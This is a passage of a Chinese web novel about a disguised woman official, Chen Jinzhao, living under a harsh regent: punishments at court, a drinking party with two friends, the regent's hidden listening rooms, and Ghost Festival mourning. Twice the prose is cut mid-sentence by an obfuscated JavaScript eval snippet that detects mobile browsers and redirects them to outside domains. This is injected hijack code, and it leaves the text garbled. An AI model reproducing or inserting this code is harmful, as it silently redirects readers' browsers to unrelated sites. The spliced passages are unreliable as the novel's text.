阿塔海与章武作为带头闹事武官,各受棍刑八十,就是在军中也算是重刑了。其他武官们则各受棍刑六十。 可即便是六十军棍,中途亦有人撑不下去,昏厥过去。但就算如此,行刑也不会终止,殿前两侧的守卫会很快上前,一左一右将人架起继续施刑,没有丝毫留情可言,无声向满朝文武诠释了什么是法不容情。 阖朝百官神态各异,有人淡定如常,有人心有余悸,有人惊疑不定,也有人两股战战几乎站立不住,更甚有人直接委顿于地。 公孙桓立在阶前冷眼看着,不置一词。 终于,殿前的军棍击打声停了。很快有两队兵士抬着担架迅速上阶,将挨完棍刑的军汉们抬了下来。 军汉们站着挨打,横着被抬出去。他们面若金纸,无不被去了半条命,横在担架上被抬走时,后背滴下的血在白玉石阶上留下长长一串,放眼观去,骇人眼目。 散场后回到各自衙门很长时间,众人都惶惶难安。 今日翰林院的气氛也格外沉闷,整个殿里近乎鸦雀无声,诸位同僚们都闷不做声的在案前低头做着各自公务,不复往日偶尔还有些忙里偷闲的轻松氛围。 就连他们上官,也不复往日喝茶看曲谱的悠然,竟破天荒拿出积攒已久的公务,开始兢兢业业批阅起来。 巳时二刻,突如其来的一队铠甲齐整的兵士,打破了翰林院表面的宁静。为首将官的直接抬手朝上官出示了摄政王手令,随即一挥手,其后擐甲执兵的军士们就蜂拥闯进殿来,不由分说的拖走了两个翰林院学士。 翰林院其他官员满眼惊恐的看着这一幕,直至那俩被拖走的同僚没了踪影,他们的手脚还在发着抖。 就连上官也掏出帕子不断擦着额上冷汗,脑中拼命回想着,近来有没有做过可能犯在摄政王手上的错事。 接下来的一整日,众官员都在惴惴不安中度过。 好在,一直到下值时分,也再没有凶神恶煞的兵士们闯殿拿人。 下值的时辰一到,翰林院众人就手脚麻利的收拾东西蜂拥而出,宛如死里逃生般,真是片刻都不敢耽搁。众人脚步生风,简直恨不能插翅飞出宫。 直到归家,陈今昭的心都在砰砰砰直跳。一连喝了两碗压惊茶,她的面色才勉强恢复如常。 陈母忧心问:“朝局不是稳当了吗?怎么又凶险了起来?” 陈今昭也不便多说,也只简单道了句:“只是一时的,过这段时日便好了,不碍事。” 幺娘坐在一旁低头静静补着官服,抿唇不语。 陈母望着那已经褪色的官服,叹口气:“当年若是不进京就好了。今昭,真不能想法子辞官吗?” 抱过小呈安在怀里给他擦擦额上的热汗,陈今昭也无奈摇头。这档口辞官,跟直接找死又有什么区别。且先熬着罢。 陈母看了眼幺娘,迟疑半会,到底开了口:“我听锦绣布坊的掌柜的说,那袁家……袁家二姐近日跟着夫婿回京了。” 闻言,陈今昭不自觉轻蹙了眉。 陈母也愁眉不展,她也当真是怕了那个胡搅蛮缠的娇小姐。当时那袁二小姐闹得动静可不小,别说街坊邻居了,就连东西街的贵人们,怕也少有不知道的。 “没事,都过去这么些年了,况她也早为人妻为人母了。”陈今昭掰开桌上的苹果喂给小呈安,“若有宴会邀请,一律推了,尽量莫要让幺娘去参加。” 耳边听到自己的名字,幺娘手里的针一抖,差点扎破手指。 陈今昭见了,就关切道了句:“你当心些,仔细莫扎着自个。若是累了,就回房歇会,反正还有套换洗的官服,不急。” 幺娘细若蚊蚋的说了声不累,然后就低头继续缝补。 收回眸光,陈今昭问向陈母:“她为何突然归京?只是探亲,还是要长住?”口中说是没事,但当年那袁二小姐一系列操作当真是吓怕了她,所谓江山易改本性难移,她何尝不怕那性子执拗的袁二小姐会再起什么波折。 “听那掌柜的说,是那袁师给她夫婿在京中谋了个差。” 陈今昭深吸口气,这得多想不开,这档口来京城谋官。 不过这件烦心事在脑中转过半会就撂开了,统共南巷与东街相隔甚远,平常应也难以遇见。 翌日大清早,陈今昭就从鹿衡玉那里得知,昨日那群兵士何止是闯他们翰林院抓人,各部都有官员被他们当场拖走。甚至昨日的朝会上,摄政王直接下令将多达十数人的朝臣拖了下去,罪名当场就判了。 据鹿衡玉得知的情报来说,这些犯事的朝官们,命硬的留了条命,带着全家流放岭南去了,命好的好歹保住了一家老小,只是被掳了官职与功名,打回原籍而已。至于时运不济实属命衰的,则是直接被判了斩立决,连回旋余地都没有,当时就被押往午门即刻问斩,人当场就没了。 他们翰林院那两位同僚算是命好的那类,只是被掳了功名与官职而已,算是不幸中的万幸了。 一路上,两人皆心有戚戚。先帝一朝刑不上大夫,他们入朝两年甚至连廷杖都未曾见过,哪知到了摄政王一朝,却见证了何为屠刀专斩士大夫。 压抑的氛围在蔓延在朝内朝外数日,直待临近休沐这日,沉闷紧张的氛围方有所缓解。 值得一提的是,他们翰林院的上官补了缺升职了,官升一级,以后每日清早,便可以随着他们部门最大上官赵掌院一道上朝去了。 但在陈今昭瞧来,她这上官丝毫没有升官的喜悦,反而全身隐隐透出股即将大祸临头的惶恐感。 想想也是,要是换做她每日上朝战战兢兢直面那位不说,还要提心吊胆唯恐哪件事做的不到位、就要落个被当庭拖走的下场,那她也得惶恐至极。 因为与沈砚、鹿衡玉他们定的是酉初时分赴宴,所以休沐这日她也没起早,直接睡到日上三竿方起。 一觉睡醒,顿觉神清气爽,一扫前段时日的萎靡。 穿戴齐整后,陈今昭刚打了水在洗漱,就忽听外头传来阵粗嗓子的嚷嚷声,“陈、陈大人在家吗?” 颇为耳熟的粗嗓门入耳,陈今昭当即脸色一变。 几个一瘸一拐的莽汉杵在陈家门口,不由就惹得左邻右舍的人都悄悄探头出来瞧看。 “那个探花郎,他……他真住这啊?”有莽汉不敢置信问。 不都说那些京官都住的是高门大屋吗,不是说他们住的华屋外墙都是用金粉铺的吗?莽汉们茫然的看着这逼仄胡同里挤挤挨挨的破败房屋,再看陈探花家那坑洼的外墙,只觉这房子比他们西北乡下的房子都不如。 阿塔海此刻也不大敢确定了,那陈探花真住这?会不会找错地了?毕竟,他们可都听说,那些京官可都有的是银钱。 他遂扯着嗓门问那些左邻右舍,“那个探花,那个叫陈今昭的京官,是住这吗?” 还不等那些邻里回答,就只见面前的两扇旧门啪的下从里面打开。阿塔海忙回头去看,就见那一身青蓝色襕衫的探花郎,就黑着脸拎着个木棍,挡在房门口,冷目视他。 “找 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阿塔海他们到底没挡住陈母的热情,局促的瘸拐着腿进了院。 可进了院,他们就更能直观的感受这一进的房屋,有多么低矮狭窄与敝塞。一时间心里都有些不好受,想想自个当时奚落人家的话,真是不该啊。 正堂不大,几个大汉就能挤得满满的。 陈母上了凉茶来,笑容和蔼的让他们喝口茶解解热。 端着瓷碗,看着穿着朴素的陈母,莽汉们难免想起了家中老娘,心中不由都酸酸涩涩。再看这屋子陈旧的摆设,看那低矮的需要他们矮着身子进来的房门,看四周这不知修补过多少回的墙壁,他们真是越看越心酸。 他们真不是人啊,他们想。 把茶水喝光,阿塔海放下瓷碗,冲陈今昭一抱拳,“先前我们拘于一时义愤,跟陈大人说了些不合时宜的话,着实是不应该。是我们的错,今个我们兄弟几个来向陈大人赔罪,望陈大人见我等诚心诚意的份上,莫再记恨。” 陈今昭自也不是多计较的人,见对方诚恳,也抬手回了揖,“大人严重了。吾等同朝为官,同为朝廷办事,就是有些龃龉,说开了也能一笑泯恩仇。又何谈记恨?” 陈母在旁打圆场,笑说:“误会解开了就好。” 阿塔海大松口气,嘿嘿笑了两声:“那改日我请陈大人你喝酒,当做赔罪。” 陈今昭摆手:“那倒不必了,只求你以后莫叫我小白脸就成了。” 一干莽汉都哈哈大笑了起来。 阿塔海这一刻对这小白脸改观了,瞧人家做事极为敞亮,倒是比那些小心眼的王公巨擘们强上许多。 没待上半会,阿塔海他们就离开了,一则是他们刚能勉强下地实在站不了太久,现在得赶紧回马车上趴着,二则是因他们还急着去下一家去赔罪。临走前,他们说什么也要将手里提着的那些茶叶、点心什么的,留下当做赔礼。 陈今昭见点心堆里藏了个荷包,拿起来顿感沉甸甸的,当即反应过来应是阿塔海偷偷留下的银子,抓过荷包就追了出去。 没几步追上了人,她将荷包塞回给了阿塔海,气喘吁吁说可别将东西落下了。 阿塔海此刻也见到对方面上不容拒绝的神色,便也不好再硬塞回去。很想说些什么劝对方收下,可笨嘴拙舌的又支吾不出个什么,所以只得作罢。 “参领一会可要去鹿编修那?” “是要去的,我刚从西街直接到此,这会就要赶去东街。” 陈今昭迟疑了片刻,到底还是朝他作揖施了一礼,“参领,还请容我多嘴说一句。鹿编修幼年失母,常受继母磋磨,因而对于与生母相像的面容万分在意,每每有所委屈,照镜想象母亲音容便能安慰一二。参领此番过去,若鹿编修因激愤说了些开罪的话,望你能体谅一二,我也恳请参领能约束部下,日后莫要拿鹿编修的容貌谈论说笑。” 阿塔海及一干武官们听得眼泪碴子都快出来了。 自己是真该死啊,这一天到晚的都在做些什么混账事! 23.第 23 章 酉初时分,夕阳西斜,绚丽的晚霞染红了天际。 “沈兄、鹿兄,楼上请。”清风楼里,陈今昭喜笑颜开的将沈砚与鹿衡玉迎上了二楼雅间,推开门时,就见跑堂小二刚好摆完最后一道菜。 “几位客官慢用,祝您几位吃好用好,小的就先下去了。” 小二满脸堆笑的一鞠躬,就退下了。 陈今昭招呼二人落座,笑着介绍,“今个赶巧了,清风楼打南边运的六月黄刚下了船,正新鲜着呢,我就让厨子清蒸了两盘,保管原汁原味,鲜美无比。另外我还点了水晶肴肉、蜜汁火方、东坡肉、莲房鱼包汤等几道菜,也不知合不合两位仁兄口味。” 沈砚抬手:“劳陈弟费心了。” 鹿衡玉挽了袖子,笑说:“如今那六月黄正是丰腴肥美的时候,今个算是有口福了。” 陈今昭也不多废话,给自己斟满酒又各给他们斟了酒,正心诚意的感谢他们的慨然相助后,就先举杯一饮而尽。沈鹿二人也先后举杯饮尽,之后陈今昭就赶忙招呼着他们用饭。 “今个也没外人,咱兄弟几个自家小聚便也不讲究那般虚礼,吃喝随意便是,务必要尽兴而归啊。” 鹿衡玉率先拿过只蟹,挥手,“还用你说,快吃你的罢。” 陈今昭磨牙,天老爷的,好歹在沈砚面前给她留点面子。 三人开始用饭,不时的闲话家常几句。当然主要是陈今昭在引导话题,毕竟她右手边的沈砚本就清冷寡言的,问到时候才会言语两声,而她左手边的鹿衡玉到底是与沈砚不算太熟,也是多少顾忌第三人在场,所以不比两人单独相处时候的话密。若她再不引着话题聊着,少不得要冷场。 好在没过多时,陈今昭请来的在各大茶楼酒肆串场卖唱的爷孙俩上来了。很快,雅间内就响起了敲击板鼓声,以及咿咿呀呀柔美婉转的唱曲声。 “是《子夜四时歌》?”沈砚难得主动开口说了句。 “沈兄竟也知道?”陈今昭不由诧问了句,想不到沈砚对此还有涉猎,还以为对方平日闲暇时候只会读圣贤书,而非去听这些难登大雅之堂的俚曲巷谣。 沈砚有条不紊的使用蟹八件夹碎蟹钳,挑出蟹肉,舀取蟹黄,一套动作行云流水。闻言,也只是风轻云淡的解释了句,“吴郡当地的小调,从前听母亲哼唱过。” 陈今昭几乎立刻就想起了她听过的一些传言。 听闻荥阳沈家的家规格外森严,尤其是对当家宗妇,要求更为严苛。据说新婚前两年,当家宗妇尚可随夫君一道上任,可是一旦诞下子嗣,便要与夫君分离,单独携子回荥阳伺候公婆,主持中馈。更反人性的是,宗妇离去前,还要替夫君纳上两房美妾,以便在她走后伺候夫君起居。 这以夫为天的时代,正值妙龄的女子,新婚燕尔之际却被迫分离,自此日坐愁城,消磨岁月,在夜夜衾寒枕冷眺望远处时,又如何能不哀婉惆怅。 此时,《子夜四时歌》恰好唱到了夏歌曲段—— “田蚕事已毕,思妇犹苦身。当暑理絺服,持寄与行人。” 沈砚兀自斟了酒饮下,陈今昭见此忙将那壶杜康酒拿远了些,而后匆匆起身去临窗小炉上取来温好的桂花酒。 “说来巧了,我娘平日无事也爱哼唱这江南小调,这听的多了我都能唱上几句,尤其是这夏歌我最熟,来了兴致我还能唱给我娘听呢。来来沈兄,咱喝这个,正所谓持螯赏桂方是雅趣。”她给沈砚的空杯盏斟满,示意对方品品味道如何,又回身给鹿衡玉的酒盏斟满,笑眯眯道,“来鹿兄,桂花酒暖胃活血,关键度数最低,你喝最为合适。” 鹿衡玉两眉竖起:“陈今昭你这是瞧不起谁呢!” 陈今昭忙摆手:“我可没有瞧不起鹿兄的意思,误会,误会!” 鹿衡玉呵了声,高高撸起了袖子。 “来来陈今昭,今个小爷我跟你杠上了!来,划拳,你要不跟你就是孙子。” 陈今昭亦撸了两袖,与他对坐:“来!” “一只王八四条腿,五只王八几双眼?” “五双!三只兔子三双耳,八匹骡子几条腿?” “……十、三十二!” 陈今昭直接给他倒满酒,“过三息了。”喝吧你! 鹿衡玉认赌服输,也不啰嗦,端起就痛快饮尽。 使劲搓搓脸,他力图让自己清醒些,对方诡计多端,万不能再上当了。 “再来!” 坐在另一旁的沈砚颇有些震惊的看着这一幕,先前心头骤然而起的那些怅然与沉郁,早被这幕给冲击的灰飞烟灭。 他、他们小聚,都是这般的吗? 回想他从前参与的那些宴会,或谈诗论赋,或谈笑风生,偶有助兴,也不过是观赏伶人的品竹调弦,或是清歌曼舞。 哪如此刻这般,如此的……不拘一格! 简直完全不似士大夫的聚会。 他尚保持着手握酒盏的惊愕神态,脑中在惊震之余偏还能随着那一道道问题,不断运转计算着答案是什么。 五,三十二,十二,六十六…… 就这短短的一会功夫,他就眼睁睁的看着先前跳脚鸡似的鹿衡玉连输五轮,而后扶着脑袋摆手示意暂且歇战。 “来,沈兄,换你了。” 沈砚乍然一听这话,惊的啊了声。 陈今昭将袖子撸了撸,笑眯眯道:“咱俩对上几轮。” 鹿衡玉不堪用了,她当然得临场换人呐。 沈砚面部肌肉僵硬的动了动,张张口想拒绝,可最后出口的话却是:“那……好吧。” 他遂也挽起袖子,学着对方的动作,握了两拳放在胸前。 “你先来吧,沈兄。” “那,行。六只龙鱼六双眼,六只蜻蜓几双翅?” “十二双!” 陈今昭有点意外,行啊,原来这沈砚也并非那般迂腐。 “九只老虎十八只眼,十三只公鸡几根爪?” “一百余四根。” 沈砚只略一停顿就答道,见对方似是很惊讶的模样,不由轻咳了声,掩下那份不易察觉的自得,“我养过画眉。” 陈今昭恍然。她刚赌的是这位世家大少爷没画过鸡,也没啃过鸡爪,所以应不知鸡有几爪。不过对方反应也快,由画眉以此类推出答案,毕竟都是禽类嘛。 她来了精神,棋逢对手,少不得要全力以赴。 沈砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364171|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也绷紧了神经,集中精力与她对答了起来。 双方你来我往不知对答了多少轮,反正是各有输赢,最后双双顶着发烫的双颊,双手撑扶着脑袋发呆。 陈今昭的脑袋尚且木木的还未缓过神,旁边鹿衡玉却已经开始摇拽她胳膊,未语泪先流—— “今昭,我心中苦啊……” 陈今昭眼神发直的看了会前方,而后慢腾腾拿起筷子开始吃起了菜,任对方絮絮叨叨的说他这些年多惨,他那个继母多毒,他那父亲多蠢,还有那些同父异母弟弟们多可憎。 这些年她都习惯了,只要鹿衡玉稍微一喝多,便会化身诉苦狂魔。有时候她都不知他哪来那么多话,能把人说得耳朵都发痛。 “今昭,你是不知她有多可恶,那大冬天的,她让我学那谁卧冰求鲤去……她竟还诬陷我,诬陷我偷窃家中财物!天可怜见,她那些破烂首饰,我瞅都懒得低头瞅上半眼啊,我,我还花那闲工夫去偷?我不嫌累得慌啊!” “你说的对,我那父亲就是个草履虫,继母指哪他打哪,他那是脑子里缺点啥啊!” “今昭,谢谢你今昭,是你告诉我,父不慈,子是可以不孝的啊!” “你说我以前得多傻啊,总想着忍过这回就好了,忍过下回就好了,待考中了进士就好了,待被外放出去做官就好了……我太傻了,真的,怎能期待旁人的仁慈呢?” “今昭啊……” 陈今昭被他聒噪的饭都吃不下。 索性拿过一春卷塞他嘴里,快闭嘴吃吧你! 沈砚在旁扶着脑袋,看着重影的鹿衡玉,“你没事罢?” “我没事啊。”接话的是陈今昭,不知是不是受鹿衡玉的影响,她这会也有些气不顺。忍了又忍,没忍住,于是就放下筷子不吃了,左手拉鹿衡玉,右手拉沈砚,开始抱怨。 “你说他们嘴是真严啊,好歹也是同拜于袁师座下,当了近一年的同窗啊……你说,他们怎能半点同窗情都不讲?” “何仇何怨啊,好歹偷偷给点提示不成吗?你们可知,会试的时候,我的那些同窗全都没去,就我,就我自个一个去了!” “平日里贤兄贤弟的唤着,真有事了,各个都是锯了嘴的葫芦。” “我要是没参加那届会试,我早回乡了,早回乡了……” 沈砚看着还在哭着感谢陈今昭的鹿衡玉,再迟钝的看看还在一个劲抱怨说同窗不讲情谊、实在太过冷血了的陈今昭,这会昏沉的脑袋开始胀痛起来。 “好了好了,都别说了,咱还是喝酒罢。” 太聒噪了,还不如都喝醉了,一了百了算了。 这话入耳,几乎瞬息让陈今昭记起了自己东道主的身份。 她赶忙殷勤的将搁在远处的酒壶捞过来,给每人斟上满满的一杯杜康酒,“不管怎么说,咱三既是同年取士,又同担了三杰之名,总归是场缘分。来,敬我们的缘分,也敬我们的未来!” 三人举杯相碰,而后都一饮而尽。 “来,再喝。” “好!” 碰巧过来办事的公孙桓,听着里头三人一人一句的唱着《子夜四时歌》,不由摇头失笑。年轻人啊,朝气蓬勃的真好。 24.第 24 章 昭明殿内寝烛火幽暗,公孙桓进来后就立在屏风前,事无巨细的说起他重启东缉事厂的诸项事宜,以及今夜他检验后的成果。 寝殿内,宫人们来去都脚步无声,刘顺指挥人将案上奏折撤下,又让人将亲王蟒袍于红木楎架上挂好、熨烫,这方悄步趋至寝榻前。很快,捧着金盆的宫监就轻手轻脚近前,跪候在侧。 刘顺躬身从金盆里取过帕子拧干,双手呈递至榻前。 姬寅礼接过巾帕擦了擦脸,直至公孙桓禀完,方问了句,“如此看,厂卫已经初具雏形了?” 公孙桓回道:“是的殿下,目前来看,厂卫的重启筹建已经初见成效。当前所购得的这数座酒肆茶楼中,其雅间皆凿壁半面设有暗室,臣下今夜在清风楼验过,以臣之耳力尚且能于暗室将隔壁房间的动静听个七八分,若换作耳力极佳者,必能将对面一字一句听个分毫不差。” “做得不错,那就开始试行罢。”姬寅礼将用完的巾帕掷于金盆,“不过还不够,青楼楚馆,以及那些士流常举办诗会去的所谓雅处,都向来为京中消息汇聚斑驳之所,便于采风集讯。还有王公贵族家中,也可以陆陆续续安置了,就算暂做不到成武年间,‘臣宅夜膳未毕,宫中已悉其详’的光景,但总该对京中官员动向有所掌握。” 公孙桓一一应下。 正事说完,主从二人就闲语两句,公孙桓难免就提到了在清风楼里的见闻,故而自然就说起了在雅间里醉酒高歌的三人。 姬寅礼正抬手解着襟扣,闻言就掀眸笑了下,姿态略有肆意,“谁人年少不轻狂,放浪形骸是少年人之本色。想本王朱颜绿发时,又何曾不是恣肆无忌,放达不羁?现在想想,往事种种有如昨日。真是,时间匆匆不待人呐。” 公孙桓不由玩笑了句:“殿下春秋鼎盛,何故几多唏嘘?殿下若是愿意,偶尔兴致来时,未尝不可学那轻狂少年,放达不羁一番。” 姬寅礼看向公孙桓的方向,戏谑笑言,“若我当真开始跅弛不羁,恐文佑你就该怕了。” 公孙桓否认:“臣已将《金刚经》学至臻境,殿下可莫要小瞧了桓。现在桓之定力,已非昔日的吴下阿蒙。” “成,且看来日,本王必得寻个机会试试你这定力的成色。” “那桓拭目以俟。” 主从二人玩笑了几句过后,姬寅礼提起阿塔海他们。 “混账是混账了些,但论作战之勇猛,无人能及。遂也还有得救。”姬寅礼指腹轻叩膝盖,沉吟片刻,侧目吩咐道刘顺,“回头你带人将上书房偏殿收拾出来,用以给那些莽夫进学来用。” 刘顺激动地应是,心中已经在飞快的盘算如何将事情做得尽善尽美。好不容易殿下总算又开始吩咐他做事了,他可万不可再出半分纰漏。 姬寅礼转而又吩咐公孙桓,“待他们伤好些,就将他们统统赶来偏殿,每日学够两个时辰。让翰林院侍讲学士轮换着来教,就从教他们认字开始。叮嘱阿塔海那群莽夫好好学,胆敢懈怠,当心我敲断他们的腿。” 翰林院新上任的上官姓于,新官上任三把火,这一整日都盯着陈今昭三人不放,意图寻他们哪怕一丝半点错处,以此在下属面前立威。 宿醉的三人脸上顶着三双乌圈,一整日头也不抬、话也不敢说,拿出前所未有的敬业态度,全天都在兢兢业业办公,唯恐被上官充作杀鸡儆猴的那只鸡。 好不容易捱到下值,也是等那于上官悠悠哉哉的走了,他们才敢收拾东西离开。就是路上也不敢走得太快,也怕与之碰个照面。 “下次可不能喝成这般了,至今我这脑袋都突突的痛,要炸了一样。”路上,鹿衡玉埋怨道,主要是冲着陈今昭去,“这么多年了,你是回回都不让我啊,陈今昭你真够可以的。等着下回,待行酒时我可再不划拳了,我要与你行飞花令!” 陈今昭也不傻,自然不会应他。 见对方开始装聋作哑不吭声,鹿衡玉磨牙两声,暗下决心,下次必要换成那陈今昭被横着从酒馆抬出去。 不过提到了下次小聚,陈今昭难免联想到下月中秋节,就问他俩得没得到什么消息,十五中秋那日宫里办不办夜宴。 按照往年大抵是不办的,毕竟是团圆日,上头也存着让大家阖家团圆的心思,所以于这日会放百官们归家与家人团聚。可如今毕竟是新朝,具体章程不能按往年惯例来揣度。 “应该不办。”沈砚的消息更为灵通,只稍一沉吟就解释了句,“西北夷虏犯境,上头刚拨了笔军费过去,这档口应会节俭开支。” 陈今昭与鹿衡玉哦了声表示明白,但也并不多问。 知道中秋那夜不必去赴宴,陈今昭开心了,心里计划着待到那日就带着全家去街上看舞火龙。还有放孔明灯、放河灯,再去食摊买些新鲜佳果与小食,拎着去登月楼赏月去。 “对了,你们中秋那日去登月楼赏月吗?要不要一起啊?” 国朝赏月之风盛行,每年中秋佳节这日,官府都会组织盛大的赏月活动,就连九层登月台也会于这日对百姓开放。 所以中秋佳节,出来游街赏月的男女老少络绎不绝,礼法之防遂也稍显宽松。这也是陈今昭能够开口邀请的原因。 话音一落,鹿衡玉顿扫刚才的沉默,忙不迭点头,“去啊,去!陈今昭你几时过去啊,我掐点过去等你。” “肯定得先用完晚膳过后,戌时初刻左右。”她又问沈砚,“沈兄,你呢?中秋夜要不要一起登台赏月去?” 沈砚颔首:“嗯,去。” “那就说定了,到时候我让我娘多炸些果子,给你们也捎带点。” 听闻还有炸果子吃,鹿衡玉当然是直夸他陈姨手艺好,夸得他陈姨天上有地上无,沈砚也表达了感谢,并让陈今昭替他向陈姨转达谢意。 接下来的一段时间平静无波。 当然,这是对于陈今昭他们来说是无波的,对于翰林院几个侍讲学士来说,这几日却是他们的人间地狱。原因无他,上头下达了诏令,命他们每日辰时至午时到上书房偏殿讲学,给西凉军汉们担任临时启蒙教学的夫子。 自诏令下达那日后,翰林院众人就见那几个侍讲学士们,每日如丧考妣的出去,浑浑噩噩的回来,看得出来他们在这两个时辰内是饱受了极大的精神折磨,当真是看的人唏嘘不已。 时间不经意流走,很快来到了七月十五这日。 暮色四合时分,陈今昭就换了身白色的素服,搀扶着同样穿着缟素的陈母出了家门。 于长街寻了个十字路口,与其他烧纸的人群隔出段距离,她方蹲下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15371473|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安置好火盆,拿出锡纸折好的元宝、两捆立香以及几沓冥纸,搁置在侧。 掏出火折子,她轻轻点燃冥纸一角,在火舌舔舐冥纸的幽幽火光中,心中低低唤着那久远的名字。 “当家的——我的……”在冥纸点燃的那一刹那,陈母就哭坐在地,她悲痛的垂着胸喊着逝去的亲人,可最后一个儿字,却只能无声的呐喊。 陈今昭揽住母亲,另只手不断往火盆里添着纸钱、元宝。 陈母伏在她肩上,哭到几近昏厥,双手死死抱住陈今昭不住的喊着儿啊儿,可对方心里都清楚,这个儿是喊的哪个儿。 陈今昭并不劝阻,任由母亲痛哭不止。 哭吧,于祭奠亡魂这日,将内心积攒的悲痛与酸楚都哭尽,这一年余下的日子就要开开心心的过。 搀着母亲离去的时候,陈今昭回眸往燃尽的火盆处留恋的望了眼。 四周都在喊魂归来兮,她却只愿他们早渡忘川,来生富贵安康,无病无灾。 将母亲送回家中安置好后,陈今昭取了从纸马铺买来的祭灯,嘱咐长庚且先留家中看护一家子,待她放完祭灯归来,再由他出门祭拜韩叔韩婶。 毕竟一家子老弱妇孺,只将他们留在家中,她如何放心。 “你放心去吧少爷,我省得的。”长庚道,又不大放心的嘱咐,“少爷路上小心,千万早些回来。” 陈今昭点头应下,便提了两盏祭灯出门。 放祭灯的河道位于西南边角,距离她家稍有些远近。 这条河道,从前叫什么没人知道,只自从有人开始往河里放祭灯起,又陆陆续续有人加入后,这条河从此就被人称作了渡灵河。 陈今昭赶到的时候,时间已经不早了,河道里飘起了不少祭灯。周围一片哭声、哀思声,悲伤的氛围笼罩了整条河道。 她顺着河道走远了些,来到处人烟稀少的一处河畔。 侧过身挡住自南而来的夜风,她小心翼翼取过两盏白色的祭灯,手指细细的在每盏灯身上摩挲,轻抚。 爹,哥…… 后面的字在心里刚落下,眼眸就忍不住泛起泪光。 捧着两盏祭灯,她站在夜风中无声落泪,脑海中浮现的尽是昔日一家人和睦的场景。 在她没有前世记忆的那八年里,却是她此生过得最开心无忧的日子。那时候爹爹尚在,胞兄也尚在,她每日最盼望的,就是教书回来的爹爹给她带各种稀奇的巧物,还有放学归家的兄长给她带各色甜甜的点心。 想起往昔,她又忍不住含泪抚了又抚怀里的祭灯。 两盏祭灯的底座,一盏镌刻上的是爹爹的名字,另一盏却是空白。 指腹抚过祭灯底座上爹爹的名字,她贪恋的流连了许久,后又颤栗的抚上另一盏祭灯座下……空空的一片触感,顿时让她心疼的直落泪。 稍远处的河畔边,主仆俩无声望向此处。 为首之人穿着黑色常服,除却襟口处用暗银丝绣了蟒纹,全身再无其他纹饰。他的周围全是莲花祭灯,灯芯摇晃的幽光明明灭灭,映晃着他的侧脸忽明忽暗。 “人间最苦是离分,白发青丝两断魂。” 望着远处素服白衣之人含泪放走了两盏祭灯,姬寅礼低语轻喃,眸光的情绪让人无法辨明。 25.第 25 章 待远处之人擦着泪眼,一步三回头的离开,姬寅礼也压睫垂目,目光缓慢的扫过周围的一圈莲花祭灯。诸多祭灯将他团团围住,团团微弱的幽光摇曳于中元节的夜色中,将那几近融入夜色的朦胧背影,在河畔中投下模糊不清的倒影。 “放走罢,全都放走。”他嗓音低哑,眸光最后一一扫过每盏祭灯,“幽冥路远,他们早些动身,也好早抵忘川,或可先一步抵那轮回井。这世太苦,便盼他们来生,能得命运垂怜。” 刘顺跪地敬小慎微的托起地上的莲花祭灯,一盏盏的双手亲捧到河畔边,伏身将这些每盏刻有名字的祭灯,仔细的依次放入铺满微光的渡灵河中。 “渡灵河当真有灵?” “奴才听说,渡灵河通往的是幽冥彼岸。”刘顺低声回道,“京都百姓都信这个……奴才也信。” 姬寅礼抬眸望向河中飘荡的莲花祭灯,好似看到了昭阳宫那心宽体胖的老总管,好似又听他在絮絮叨叨的哄他多用饭,期待他日后好长成个威武英挺的高俊儿郎。也好似看到最会搭配衣服首饰、尤擅给母妃梳花样繁复发髻的安姑姑,好似又见到了她笑呵呵的询问他,小殿下,你看娘娘梳这个新发髻可好看,是否似那天仙下凡尘呀…… 他渊寂的眉目间舒展开短暂的笑意,后又慢慢敛下。 故人的音容笑貌犹似在眼前,可十年过去,他能给他们的只有这一盏盏莲花祭灯。 在刘顺放完了最后一盏祭灯后,姬寅礼也终于将自己怀里抱着的素娟祭灯捧了出来。他垂眸目视了很久,好似要永远将这盏祭灯镌刻在记忆深处。 终于,他抬步走向了河畔,步履如风,没有迟疑。 刘顺侧身在旁亦步亦趋的帮着挡风,唯恐狂乱的夜风吹散了素娟挽成的祭灯。在见他主子跪地送别祭灯时,他也忙不迭跪伏于地。 “你可知,母妃临了之际,可还有何未了之愿?” 伏地跪拜的刘顺心中一突,有数息的语塞。当年他亦不过是昭阳宫一个不起眼的洒扫太监,平日压根没机会接近主殿,也就主子娘娘出行时,能够远远的望见片衣角,所以这会要让他如何来回殿下的话? 好在他反应不慢,当即就哽语回道:“若说娘娘还有什么未了之愿,怕就只是未能亲眼见着殿下长大成人,娶妻生子。当年奴才就算只是个偏殿洒扫的,却也有耳闻,娘娘常对安姑姑他们笑谈,萱姑娘……” 猛地意识到说错话,他刹那止声。 姬寅礼眉目未动,“但说无妨。” 刘顺暗松口气,方继续说道:“那时候萱姑娘时常出入昭阳宫与娘娘说笑,娘娘甚是喜爱她,常与安姑姑笑谈,说萱姑娘模样好性子也好,将来与殿下生的小小殿下,定是玉雪可爱的紧……想来娘娘最后也何尝不遗憾,未能亲眼见见她的小小殿下是何模样。” 姬寅礼目送着那盏素娟祭灯,承载着他的思念随风逐流而下,渐渐飘向幽冥深处。 “世上不缺容貌姣好的女子,所以本王也断缺不了玉雪可爱的孩儿。王明萱她不配,负我者,并不足惜。” 他撑膝起身,孤立岸边眺望渡灵河的尽头,任由河道中随风翻腾的水浪溅湿他的黑衣袍摆。临去前,他压低眉眼轻语几声,漆沉的双眸映着祭灯明灭的幽光。 